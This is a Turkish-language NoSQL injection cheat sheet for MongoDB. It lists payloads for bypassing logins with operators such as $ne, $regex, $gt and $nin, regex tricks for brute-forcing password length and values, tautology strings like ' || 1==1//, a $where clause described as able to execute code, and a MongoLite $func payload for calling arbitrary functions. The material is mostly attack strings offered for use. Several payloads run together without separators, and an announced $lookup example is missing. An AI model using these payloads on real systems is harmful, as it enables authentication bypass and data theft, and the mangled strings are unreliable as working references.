PHP'de gönderilen parametreyi parameter=foo yerine parameter[arrName]=foo olarak değiştirerek bir Dizi gönderebilirsiniz.
Sömürüler, bir Operatör eklemeye dayanmaktadır:
username[$ne]=1$password[$ne]=1 #<Not Equals>username[$regex]=^adm$password[$ne]=1 #Check a <regular expression>, could be used to brute-force a parameterusername[$regex]=.{25}&pass[$ne]=1#Use the <regex> to find the length of a valueusername[$eq]=admin&password[$ne]=1#<Equals>username[$ne]=admin&pass[$lt]=s#<Less than>, Brute-force pass[$lt] to find more usersusername[$ne]=admin&pass[$gt]=s#<Greater Than>username[$nin][admin]=admin&username[$nin][test]=test&pass[$ne]=7 #<Matches non of the values of the array> (not test and not admin)
{ $where:"this.credits == this.debits"}#<IF>,canbeusedtoexecutecode
Bir saldırgan, admin' || 'a'=='a gibi dizeleri girerek bunu istismar edebilir ve sorgunun, bir tautoloji ile koşulu sağlayarak tüm belgeleri döndürmesini sağlar ('a'=='a'). Bu, ' or 1=1-- - gibi girdilerin SQL sorgularını manipüle etmek için kullanıldığı SQL enjeksiyon saldırılarına benzer. MongoDB'de, ' || 1==1//, ' || 1==1%00 veya admin' || 'a'=='a gibi girdiler kullanılarak benzer enjeksiyonlar yapılabilir.
Normal sql: ' or 1=1-- -
Mongo sql: ' || 1==1// or ' || 1==1%00 or admin' || 'a'=='a
length bilgilerini çıkarma
username[$ne]=toto&password[$regex]=.{1}username[$ne]=toto&password[$regex]=.{3}# True if the length equals 1,3...
Varsayılan olarak kullanılan $func operatörü ile MongoLite kütüphanesi aracılığıyla, bu raporda olduğu gibi keyfi bir fonksiyonu icra etmek mümkün olabilir.
"user":{"$func":"var_dump"}
Farklı koleksiyondan bilgi alma
Farklı bir koleksiyondan bilgi almak için $lookup kullanmak mümkündür. Aşağıdaki örnekte, users adlı farklı bir koleksiyondan okuma yapıyoruz ve bir joker karakterle eşleşen bir şifreye sahip tüm girişlerin sonuçlarını alıyoruz.
NOT:$lookup ve diğer toplama fonksiyonları, arama yapmak için find() veya findOne() fonksiyonları yerine aggregate() fonksiyonu kullanıldıysa yalnızca mevcuttur.